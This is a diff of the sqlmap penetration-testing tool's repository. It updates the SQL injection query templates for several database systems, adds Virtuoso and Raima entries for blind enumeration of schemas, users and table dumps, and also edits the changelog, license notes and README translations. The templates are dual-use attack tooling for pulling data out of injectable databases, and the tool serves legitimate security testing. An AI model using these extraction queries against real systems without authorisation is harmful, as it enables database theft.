<inband query="SELECT attname,typname FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND a.relname='%s' AND nspname='%s'" condition="attname"/>
|
<inband query="SELECT attname,typname FROM pg_attribute b JOIN pg_class a ON a.oid=b.attrelid JOIN pg_type c ON c.oid=b.atttypid JOIN pg_namespace d ON a.relnamespace=d.oid WHERE b.attnum>0 AND a.relname='%s' AND nspname='%s'" condition="attname"/>
|
||||||
<blind query="SELECT attname FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND a.relname='%s' AND nspname='%s'" query2="SELECT typname FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relname='%s' AND a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND attname='%s' AND nspname='%s'" count="SELECT COUNT(attname) FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND a.relname='%s' AND nspname='%s'" condition="attname"/>
|
<blind query="SELECT attname FROM pg_attribute b JOIN pg_class a ON a.oid=b.attrelid JOIN pg_type c ON c.oid=b.atttypid JOIN pg_namespace d ON a.relnamespace=d.oid WHERE b.attnum>0 AND a.relname='%s' AND nspname='%s'" query2="SELECT typname FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relname='%s' AND a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND attname='%s' AND nspname='%s'" count="SELECT COUNT(attname) FROM pg_attribute b JOIN pg_class a ON a.oid=b.attrelid JOIN pg_type c ON c.oid=b.atttypid JOIN pg_namespace d ON a.relnamespace=d.oid WHERE b.attnum>0 AND a.relname='%s' AND nspname='%s'" condition="attname"/>
|
||||||
</columns>
|
</columns>
|
||||||
<dump_table>
|
<dump_table>
|
||||||
<inband query="SELECT %s FROM %s.%s ORDER BY %s"/>
|
<inband query="SELECT %s FROM %s.%s ORDER BY %s"/>
|
||||||
@@ -1386,8 +1386,8 @@
|
|||||||
<blind query="SELECT DISTINCT(table_schema) FROM information_schema.tables WHERE %s" query2="SELECT table_name FROM information_schema.tables WHERE table_schema='%s'" count="SELECT COUNT(DISTINCT(table_schema)) FROM information_schema.tables WHERE %s" count2="SELECT COUNT(table_name) FROM information_schema.tables WHERE table_schema='%s'" condition="table_name" condition2="table_schema"/>
|
<blind query="SELECT DISTINCT(table_schema) FROM information_schema.tables WHERE %s" query2="SELECT table_name FROM information_schema.tables WHERE table_schema='%s'" count="SELECT COUNT(DISTINCT(table_schema)) FROM information_schema.tables WHERE %s" count2="SELECT COUNT(table_name) FROM information_schema.tables WHERE table_schema='%s'" condition="table_name" condition2="table_schema"/>
|
||||||
</search_table>
|
</search_table>
|
||||||
<search_column>
|
<search_column>
|
||||||
<inband query="SELECT nspname,relname FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND %s" condition="attname" condition2="nspname" condition3="relname"/>
|
<inband query="SELECT nspname,relname FROM pg_attribute b JOIN pg_class a ON a.oid=b.attrelid JOIN pg_type c ON c.oid=b.atttypid JOIN pg_namespace d ON a.relnamespace=d.oid WHERE b.attnum>0 AND %s" condition="attname" condition2="nspname" condition3="relname"/>
|
||||||
<blind query="SELECT DISTINCT(nspname) FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND %s" query2="SELECT DISTINCT(relname) FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND nspname='%s'" count="SELECT COUNT(DISTINCT(nspname)) FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND %s" count2="SELECT COUNT(DISTINCT(relname)) FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND nspname='%s'" condition="attname" condition2="nspname" condition3="relname"/>
|
<blind query="SELECT DISTINCT(nspname) FROM pg_attribute b JOIN pg_class a ON a.oid=b.attrelid JOIN pg_type c ON c.oid=b.atttypid JOIN pg_namespace d ON a.relnamespace=d.oid WHERE b.attnum>0 AND %s" query2="SELECT DISTINCT(relname) FROM pg_attribute b JOIN pg_class a ON a.oid=b.attrelid JOIN pg_type c ON c.oid=b.atttypid JOIN pg_namespace d ON a.relnamespace=d.oid WHERE b.attnum>0 AND nspname='%s'" count="SELECT COUNT(DISTINCT(nspname)) FROM pg_attribute b JOIN pg_class a ON a.oid=b.attrelid JOIN pg_type c ON c.oid=b.atttypid JOIN pg_namespace d ON a.relnamespace=d.oid WHERE b.attnum>0 AND %s" count2="SELECT COUNT(DISTINCT(relname)) FROM pg_attribute b JOIN pg_class a ON a.oid=b.attrelid JOIN pg_type c ON c.oid=b.atttypid JOIN pg_namespace d ON a.relnamespace=d.oid WHERE b.attnum>0 AND nspname='%s'" condition="attname" condition2="nspname" condition3="relname"/>
|
||||||
</search_column>
|
</search_column>
|
||||||
</dbms>
|
</dbms>
|
||||||
|
|
||||||
@@ -1626,4 +1626,94 @@
|
|||||||
<blind query="SELECT "schema_name" FROM INFORMATION_SCHEMA.COLUMNS,INFORMATION_SCHEMA.TABLES,INFORMATION_SCHEMA.SCHEMATA WHERE INFORMATION_SCHEMA.COLUMNS.table_pk=INFORMATION_SCHEMA.TABLES.table_pk AND INFORMATION_SCHEMA.TABLES.schema_pk=INFORMATION_SCHEMA.SCHEMATA.schema_pk AND %s" query2="SELECT "table_name" FROM INFORMATION_SCHEMA.COLUMNS,INFORMATION_SCHEMA.TABLES,INFORMATION_SCHEMA.SCHEMATA WHERE INFORMATION_SCHEMA.COLUMNS.table_pk=INFORMATION_SCHEMA.TABLES.table_pk AND INFORMATION_SCHEMA.TABLES.schema_pk=INFORMATION_SCHEMA.SCHEMATA.schema_pk AND "schema_name"='%s'" count="SELECT COUNT("schema_name") FROM INFORMATION_SCHEMA.COLUMNS,INFORMATION_SCHEMA.TABLES,INFORMATION_SCHEMA.SCHEMATA WHERE INFORMATION_SCHEMA.COLUMNS.table_pk=INFORMATION_SCHEMA.TABLES.table_pk AND INFORMATION_SCHEMA.TABLES.schema_pk=INFORMATION_SCHEMA.SCHEMATA.schema_pk AND %s" count2="SELECT COUNT("table_name") FROM INFORMATION_SCHEMA.COLUMNS,INFORMATION_SCHEMA.TABLES,INFORMATION_SCHEMA.SCHEMATA WHERE INFORMATION_SCHEMA.COLUMNS.table_pk=INFORMATION_SCHEMA.TABLES.table_pk AND INFORMATION_SCHEMA.TABLES.schema_pk=INFORMATION_SCHEMA.SCHEMATA.schema_pk AND "schema_name"='%s'" condition=""column_name"" condition2=""schema_name"" condition3=""table_name""/>
|
<blind query="SELECT "schema_name" FROM INFORMATION_SCHEMA.COLUMNS,INFORMATION_SCHEMA.TABLES,INFORMATION_SCHEMA.SCHEMATA WHERE INFORMATION_SCHEMA.COLUMNS.table_pk=INFORMATION_SCHEMA.TABLES.table_pk AND INFORMATION_SCHEMA.TABLES.schema_pk=INFORMATION_SCHEMA.SCHEMATA.schema_pk AND %s" query2="SELECT "table_name" FROM INFORMATION_SCHEMA.COLUMNS,INFORMATION_SCHEMA.TABLES,INFORMATION_SCHEMA.SCHEMATA WHERE INFORMATION_SCHEMA.COLUMNS.table_pk=INFORMATION_SCHEMA.TABLES.table_pk AND INFORMATION_SCHEMA.TABLES.schema_pk=INFORMATION_SCHEMA.SCHEMATA.schema_pk AND "schema_name"='%s'" count="SELECT COUNT("schema_name") FROM INFORMATION_SCHEMA.COLUMNS,INFORMATION_SCHEMA.TABLES,INFORMATION_SCHEMA.SCHEMATA WHERE INFORMATION_SCHEMA.COLUMNS.table_pk=INFORMATION_SCHEMA.TABLES.table_pk AND INFORMATION_SCHEMA.TABLES.schema_pk=INFORMATION_SCHEMA.SCHEMATA.schema_pk AND %s" count2="SELECT COUNT("table_name") FROM INFORMATION_SCHEMA.COLUMNS,INFORMATION_SCHEMA.TABLES,INFORMATION_SCHEMA.SCHEMATA WHERE INFORMATION_SCHEMA.COLUMNS.table_pk=INFORMATION_SCHEMA.TABLES.table_pk AND INFORMATION_SCHEMA.TABLES.schema_pk=INFORMATION_SCHEMA.SCHEMATA.schema_pk AND "schema_name"='%s'" condition=""column_name"" condition2=""schema_name"" condition3=""table_name""/>
|
||||||
</search_column>
|
</search_column>
|
||||||
</dbms>
|
</dbms>
|
||||||
|
|
||||||
|
<dbms value="Raima Database Manager">
|
||||||
|
<cast query="CONVERT(%s,CHAR)"/>
|
||||||
|
<length query="LENGTH(%s)"/>
|
||||||
|
<isnull query="IFNULL(%s,' ')"/>
|
||||||
|
<delimiter query="||"/>
|
||||||
|
<limit/>
|
||||||
|
<limitregexp/>
|
||||||
|
<limitgroupstart/>
|
||||||
|
<limitgroupstop/>
|
||||||
|
<limitstring/>
|
||||||
|
<order query="ORDER BY %s ASC"/>
|
||||||
|
<count query="COUNT(%s)"/>
|
||||||
|
<comment query="/*"/>
|
||||||
|
<concatenate query="%s||%s"/>
|
||||||
|
<case query="SELECT (IF(%s,1,0))"/>
|
||||||
|
<inference query="UNICODE(SUBSTRING((%s),%d,1))>%d"/>
|
||||||
|
<banner/>
|
||||||
|
<current_user/>
|
||||||
|
<current_db/>
|
||||||
|
<hostname/>
|
||||||
|
<table_comment/>
|
||||||
|
<column_comment/>
|
||||||
|
<is_dba/>
|
||||||
|
<dbs/>
|
||||||
|
<tables/>
|
||||||
|
<dump_table>
|
||||||
|
<inband query="SELECT %s FROM %s"/>
|
||||||
|
<!-- NOTE: Raima does not like escaping of LIKE strings (e.g. ...LIKE CHAR(32)) -->
|
||||||
|
<blind query="SELECT MIN(%s) FROM %s WHERE CONVERT(%s,CHAR)>'%s'" query2="SELECT MAX(%s) FROM %s WHERE CONVERT(%s,CHAR) LIKE [SINGLE_QUOTE]%s[SINGLE_QUOTE]" count="SELECT COUNT(*) FROM %s" count2="SELECT COUNT(DISTINCT(%s)) FROM %s"/>
|
||||||
|
</dump_table>
|
||||||
|
<users/>
|
||||||
|
<privileges/>
|
||||||
|
<roles/>
|
||||||
|
<statements/>
|
||||||
|
<search_db/>
|
||||||
|
<search_table/>
|
||||||
|
<search_column/>
|
||||||
|
</dbms>
|
||||||
|
|
||||||
|
<dbms value="Virtuoso">
|
||||||
|
<cast query="CAST(%s AS NCHAR)"/>
|
||||||
|
<length query="LENGTH(%s)"/>
|
||||||
|
<isnull query="__MAX_NOTNULL(%s,' ')"/>
|
||||||
|
<delimiter query="||"/>
|
||||||
|
<limit query="TOP (%d,%d)"/>
|
||||||
|
<limitregexp query="\s+TOP\s*\(([\d]+)\s*\,\s*([\d]+)\)" query2="\s+TOP\s+([\d]+)"/>
|
||||||
|
<limitgroupstart query="1"/>
|
||||||
|
<limitgroupstop query="2"/>
|
||||||
|
<limitstring query=" TOP "/>
|
||||||
|
<order query="ORDER BY %s ASC"/>
|
||||||
|
<count query="COUNT(%s)"/>
|
||||||
|
<comment query="-- -" query2="/*"/>
|
||||||
|
<concatenate query="%s||%s"/>
|
||||||
|
<case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)"/>
|
||||||
|
<inference query="ASCII(SUBSTRING((%s),%d,1))>%d"/>
|
||||||
|
<banner query="sys_stat('st_dbms_name')||' - '||sys_stat('st_dbms_ver')"/>
|
||||||
|
<current_user query="USERNAME()"/>
|
||||||
|
<current_db query="UPPER(USERNAME())"/>
|
||||||
|
<hostname query="sys_stat('st_host_name')"/>
|
||||||
|
<table_comment/>
|
||||||
|
<column_comment/>
|
||||||
|
<is_dba query="USERNAME()='dba'"/>
|
||||||
|
<dbs>
|
||||||
|
<inband query="SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA"/>
|
||||||
|
<blind query="SELECT DISTINCT TOP (%d,1) schema_name FROM INFORMATION_SCHEMA.SCHEMATA ORDER BY 1" count="SELECT COUNT(DISTINCT(schema_name)) FROM INFORMATION_SCHEMA.SCHEMATA"/>
|
||||||
|
</dbs>
|
||||||
|
<tables>
|
||||||
|
<inband query="SELECT table_schema,table_name FROM INFORMATION_SCHEMA.TABLES" condition="table_schema"/>
|
||||||
|
<blind query="SELECT TOP (%d,1) table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='%s' ORDER BY 1" count="SELECT COUNT(table_name) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='%s'"/>
|
||||||
|
</tables>
|
||||||
|
<columns>
|
||||||
|
<inband query="SELECT column_name,data_type FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='%s' AND table_schema='%s'" condition="column_name"/>
|
||||||
|
<blind query="SELECT column_name FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='%s' AND table_schema='%s'" query2="SELECT data_type FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='%s' AND column_name='%s' AND table_schema='%s'" count="SELECT COUNT(column_name) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='%s' AND table_schema='%s'" condition="column_name"/>
|
||||||
|
</columns>
|
||||||
|
<dump_table>
|
||||||
|
<inband query="SELECT %s FROM %s.%s ORDER BY %s"/>
|
||||||
|
<blind query="SELECT TOP (%d,1) %s FROM %s.%s ORDER BY %s" count="SELECT COUNT(*) FROM %s.%s"/>
|
||||||
|
</dump_table>
|
||||||
|
<users>
|
||||||
|
<inband query="SELECT u_name FROM SYS_USERS WHERE U_IS_ROLE=0 ORDER BY 1"/>
|
||||||
|
<blind query="SELECT TOP (%d,1) u_name FROM SYS_USERS WHERE U_IS_ROLE=0 ORDER BY 1" count="SELECT COUNT(DISTINCT(u_name)) FROM SYS_USERS"/>
|
||||||
|
</users>
|
||||||
|
<privileges/>
|
||||||
|
<roles/>
|
||||||
|
<statements/>
|
||||||
|
<search_db/>
|
||||||
|
<search_table/>
|
||||||
|
<search_column/>
|
||||||
|
</dbms>
|
||||||
</root>
|
</root>
|
||||||
|
|||||||
@@ -6,14 +6,17 @@
|
|||||||
# Version 1.3 (2019-01-05)
|
# Version 1.3 (2019-01-05)
|
||||||
|
|
||||||
* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.2...1.3)
|
* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.2...1.3)
|
||||||
|
* [View issues](https://github.com/sqlmapproject/sqlmap/milestone/4?closed=1)
|
||||||
|
|
||||||
# Version 1.2 (2018-01-08)
|
# Version 1.2 (2018-01-08)
|
||||||
|
|
||||||
* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.1...1.2)
|
* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.1...1.2)
|
||||||
|
* [View issues](https://github.com/sqlmapproject/sqlmap/milestone/3?closed=1)
|
||||||
|
|
||||||
# Version 1.1 (2017-04-07)
|
# Version 1.1 (2017-04-07)
|
||||||
|
|
||||||
* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.0...1.1)
|
* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.0...1.1)
|
||||||
|
* [View issues](https://github.com/sqlmapproject/sqlmap/milestone/2?closed=1)
|
||||||
|
|
||||||
# Version 1.0 (2016-02-27)
|
# Version 1.0 (2016-02-27)
|
||||||
|
|
||||||
|
|||||||
@@ -151,11 +151,6 @@ Giorgio Fedon, <giorgio.fedon(at)gmail.com>
|
|||||||
Kasper Fons, <thefeds(at)mail.dk>
|
Kasper Fons, <thefeds(at)mail.dk>
|
||||||
* for reporting several bugs
|
* for reporting several bugs
|
||||||
|
|
||||||
Jose Fonseca, <jose.r.fonseca(at)gmail.com>
|
|
||||||
* for his Gprof2Dot utility for converting profiler output to dot graph(s) and for his XDot utility to render nicely dot graph(s), both included in sqlmap tree inside extra folder. These libraries are used for sqlmap development purposes only
|
|
||||||
http://code.google.com/p/jrfonseca/wiki/Gprof2Dot
|
|
||||||
http://code.google.com/p/jrfonseca/wiki/XDot
|
|
||||||
|
|
||||||
Alan Franzoni, <alan.franzoni(at)gmail.com>
|
Alan Franzoni, <alan.franzoni(at)gmail.com>
|
||||||
* for helping out with Python subprocess library
|
* for helping out with Python subprocess library
|
||||||
|
|
||||||
|
|||||||
@@ -48,14 +48,10 @@ SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
|||||||
|
|
||||||
* The `Chardet` library located under `thirdparty/chardet/`.
|
* The `Chardet` library located under `thirdparty/chardet/`.
|
||||||
Copyright (C) 2008, Mark Pilgrim.
|
Copyright (C) 2008, Mark Pilgrim.
|
||||||
* The `Gprof2dot` library located under `thirdparty/gprof2dot/`.
|
|
||||||
Copyright (C) 2008-2009, Jose Fonseca.
|
|
||||||
* The `KeepAlive` library located under `thirdparty/keepalive/`.
|
* The `KeepAlive` library located under `thirdparty/keepalive/`.
|
||||||
Copyright (C) 2002-2003, Michael D. Stenner.
|
Copyright (C) 2002-2003, Michael D. Stenner.
|
||||||
* The `MultipartPost` library located under `thirdparty/multipart/`.
|
* The `MultipartPost` library located under `thirdparty/multipart/`.
|
||||||
Copyright (C) 2006, Will Holcomb.
|
Copyright (C) 2006, Will Holcomb.
|
||||||
* The `XDot` library located under `thirdparty/xdot/`
|
|
||||||
Copyright (C) 2008, Jose Fonseca.
|
|
||||||
* The `icmpsh` tool located under `extra/icmpsh/`.
|
* The `icmpsh` tool located under `extra/icmpsh/`.
|
||||||
Copyright (C) 2010, Nico Leidecker, Bernardo Damele.
|
Copyright (C) 2010, Nico Leidecker, Bernardo Damele.
|
||||||
|
|
||||||
@@ -277,7 +273,7 @@ be bound by the terms and conditions of this License Agreement.
|
|||||||
* The `bottle` web framework library located under `thirdparty/bottle/`.
|
* The `bottle` web framework library located under `thirdparty/bottle/`.
|
||||||
Copyright (C) 2012, Marcel Hellkamp.
|
Copyright (C) 2012, Marcel Hellkamp.
|
||||||
* The `identYwaf` library located under `thirdparty/identywaf/`.
|
* The `identYwaf` library located under `thirdparty/identywaf/`.
|
||||||
Copyright (C) 2019, Miroslav Stampar.
|
Copyright (C) 2019-2020, Miroslav Stampar.
|
||||||
* The `ordereddict` library located under `thirdparty/odict/`.
|
* The `ordereddict` library located under `thirdparty/odict/`.
|
||||||
Copyright (C) 2009, Raymond Hettinger.
|
Copyright (C) 2009, Raymond Hettinger.
|
||||||
* The `six` Python 2 and 3 compatibility library located under `thirdparty/six/`.
|
* The `six` Python 2 and 3 compatibility library located under `thirdparty/six/`.
|
||||||
|
|||||||
@@ -32,7 +32,7 @@ Pour afficher une liste complète des options et des commutateurs (switches), ta
|
|||||||
|
|
||||||
python sqlmap.py -hh
|
python sqlmap.py -hh
|
||||||
|
|
||||||
Vous pouvez regarder un vidéo [ici](https://asciinema.org/a/46601) pour plus d'exemples.
|
Vous pouvez regarder une vidéo [ici](https://asciinema.org/a/46601) pour plus d'exemples.
|
||||||
Pour obtenir un aperçu des ressources de __sqlmap__, une liste des fonctionnalités prises en charge, la description de toutes les options, ainsi que des exemples, nous vous recommandons de consulter [le wiki](https://github.com/sqlmapproject/sqlmap/wiki/Usage).
|
Pour obtenir un aperçu des ressources de __sqlmap__, une liste des fonctionnalités prises en charge, la description de toutes les options, ainsi que des exemples, nous vous recommandons de consulter [le wiki](https://github.com/sqlmapproject/sqlmap/wiki/Usage).
|
||||||
|
|
||||||
Liens
|
Liens
|
||||||
|
|||||||
@@ -2,7 +2,7 @@
|
|||||||
|
|
||||||
[](https://travis-ci.org/sqlmapproject/sqlmap) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://badge.fury.io/py/sqlmap) [](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [](https://twitter.com/sqlmap)
|
[](https://travis-ci.org/sqlmapproject/sqlmap) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://badge.fury.io/py/sqlmap) [](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [](https://twitter.com/sqlmap)
|
||||||
|
|
||||||
sqlmap merupakan alat _(tool)_ bantu _open source_ dalam melakukan tes penetrasi yang mengotomasi proses deteksi dan eksploitasi kelemahan _SQL injection_ dan pengambil-alihan server basisdata. sqlmap dilengkapi dengan pendeteksi canggih, fitur-fitur hanal bagi _penetration tester_, beragam cara untuk mendeteksi basisdata, hingga mengakses _file system_ dan mengeksekusi perintah dalam sistem operasi melalui koneksi _out-of-band_.
|
sqlmap merupakan alat _(tool)_ bantu _open source_ dalam melakukan tes penetrasi yang mengotomasi proses deteksi dan eksploitasi kelemahan _SQL injection_ dan pengambil-alihan server basis data. sqlmap dilengkapi dengan pendeteksi canggih, fitur-fitur hanal bagi _penetration tester_, beragam cara untuk mendeteksi basis data, hingga mengakses _file system_ dan mengeksekusi perintah dalam sistem operasi melalui koneksi _out-of-band_.
|
||||||
|
|
||||||
Tangkapan Layar
|
Tangkapan Layar
|
||||||
----
|
----
|
||||||
@@ -43,7 +43,7 @@ Tautan
|
|||||||
* Situs: http://sqlmap.org
|
* Situs: http://sqlmap.org
|
||||||
* Unduh: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) atau [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
|
* Unduh: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) atau [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
|
||||||
* RSS feed dari commits: https://github.com/sqlmapproject/sqlmap/commits/master.atom
|
* RSS feed dari commits: https://github.com/sqlmapproject/sqlmap/commits/master.atom
|
||||||
* Issue tracker: https://github.com/sqlmapproject/sqlmap/issues
|
* Pelacak Masalah: https://github.com/sqlmapproject/sqlmap/issues
|
||||||
* Wiki Manual Penggunaan: https://github.com/sqlmapproject/sqlmap/wiki
|
* Wiki Manual Penggunaan: https://github.com/sqlmapproject/sqlmap/wiki
|
||||||
* Pertanyaan yang Sering Ditanyakan (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
* Pertanyaan yang Sering Ditanyakan (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||||
* Twitter: [@sqlmap](https://twitter.com/sqlmap)
|
* Twitter: [@sqlmap](https://twitter.com/sqlmap)
|
||||||
|
|||||||
@@ -14,8 +14,7 @@ Você pode visitar a [coleção de imagens](https://github.com/sqlmapproject/sql
|
|||||||
Instalação
|
Instalação
|
||||||
----
|
----
|
||||||
|
|
||||||
Você pode baixar o arquivo tar mais recente clicando [aqui]
|
Você pode baixar o arquivo tar mais recente clicando [aqui](https://github.com/sqlmapproject/sqlmap/tarball/master) ou o arquivo zip mais recente clicando [aqui](https://github.com/sqlmapproject/sqlmap/zipball/master).
|
||||||
(https://github.com/sqlmapproject/sqlmap/tarball/master) ou o arquivo zip mais recente clicando [aqui](https://github.com/sqlmapproject/sqlmap/zipball/master).
|
|
||||||
|
|
||||||
De preferência, você pode baixar o sqlmap clonando o repositório [Git](https://github.com/sqlmapproject/sqlmap):
|
De preferência, você pode baixar o sqlmap clonando o repositório [Git](https://github.com/sqlmapproject/sqlmap):
|
||||||
|
|
||||||
|
|||||||
53
doc/translations/README-vi-VN.md
Normal file
53
doc/translations/README-vi-VN.md
Normal file
@@ -0,0 +1,53 @@
|
|||||||
|
# sqlmap 
|
||||||
|
|
||||||
|
[](https://travis-ci.org/sqlmapproject/sqlmap) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://badge.fury.io/py/sqlmap) [](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [](https://twitter.com/sqlmap)
|
||||||
|
|
||||||
|
sqlmap là một công cụ kiểm tra thâm nhập mã nguồn mở, nhằm tự động hóa quá trình phát hiện, khai thác lỗ hổng tiêm SQL và tiếp quản các máy chủ cơ sở dữ liệu. Nó đi kèm với
|
||||||
|
một hệ thống phát hiện mạnh mẽ, nhiều tính năng thích hợp cho người kiểm tra thâm nhập và một loạt các tùy chọn bao gồm lấy dấu cơ sở dữ liệu, truy xuất dữ liệu từ cơ sở dữ
|
||||||
|
liệu, truy cập tệp của hệ thống và thực hiện các lệnh trên hệ điều hành thông qua kết nối ngoài.
|
||||||
|
|
||||||
|
Ảnh chụp màn hình
|
||||||
|
----
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
Bạn có thể truy cập vào [bộ sưu tập ảnh chụp màn hình](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots), chúng trình bày một số tính năng trên wiki.
|
||||||
|
|
||||||
|
Cài đặt
|
||||||
|
----
|
||||||
|
|
||||||
|
|
||||||
|
Bạn có thể tải xuống tập tin nén tar mới nhất bằng cách nhấp vào [đây](https://github.com/sqlmapproject/sqlmap/tarball/master) hoặc tập tin nén zip mới nhất bằng cách nhấp vào [đây](https://github.com/sqlmapproject/sqlmap/zipball/master).
|
||||||
|
|
||||||
|
Tốt hơn là bạn có thể tải xuống sqlmap bằng cách clone với [Git](https://github.com/sqlmapproject/sqlmap):
|
||||||
|
|
||||||
|
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
|
||||||
|
|
||||||
|
sqlmap hoạt động hiệu quả với [Python](http://www.python.org/download/) phiên bản **2.6**, **2.7** và **3.x** trên bất kì nền tảng nào.
|
||||||
|
|
||||||
|
Sử dụng
|
||||||
|
----
|
||||||
|
|
||||||
|
Để có được danh sách các tùy chọn cơ bản, hãy sử dụng:
|
||||||
|
|
||||||
|
python sqlmap.py -h
|
||||||
|
|
||||||
|
Để có được danh sách tất cả các tùy chọn, hãy sử dụng:
|
||||||
|
|
||||||
|
python sqlmap.py -hh
|
||||||
|
|
||||||
|
Bạn có thể tìm thấy video chạy mẫu [tại đây](https://asciinema.org/a/46601).
|
||||||
|
Để có cái nhìn tổng quan về các khả năng của sqlmap, danh sách các tính năng được hỗ trợ và mô tả về tất cả các tùy chọn, cùng với các ví dụ, bạn nên tham khảo [hướng dẫn sử dụng](https://github.com/sqlmapproject/sqlmap/wiki/Usage) (Tiếng Anh).
|
||||||
|
|
||||||
|
Liên kết
|
||||||
|
----
|
||||||
|
|
||||||
|
* Trang chủ: http://sqlmap.org
|
||||||
|
* Tải xuống: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) hoặc [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
|
||||||
|
* Lịch sử thay nguồn đổi cấp dữ liệu RSS: https://github.com/sqlmapproject/sqlmap/commits/master.atom
|
||||||
|
* Theo dõi vấn đề: https://github.com/sqlmapproject/sqlmap/issues
|
||||||
|
* Hướng dẫn sử dụng: https://github.com/sqlmapproject/sqlmap/wiki
|
||||||
|
* Các câu hỏi thường gặp (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||||
|
* Twitter: [@sqlmap](https://twitter.com/sqlmap)
|
||||||
|
* Demo: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos)
|
||||||
|
* Ảnh chụp màn hình: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||||
@@ -1,7 +1,7 @@
|
|||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|||||||
@@ -3,7 +3,7 @@
|
|||||||
"""
|
"""
|
||||||
beep.py - Make a beep sound
|
beep.py - Make a beep sound
|
||||||
|
|
||||||
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
|
||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|||||||
@@ -3,7 +3,7 @@
|
|||||||
"""
|
"""
|
||||||
cloak.py - Simple file encryption/compression utility
|
cloak.py - Simple file encryption/compression utility
|
||||||
|
|
||||||
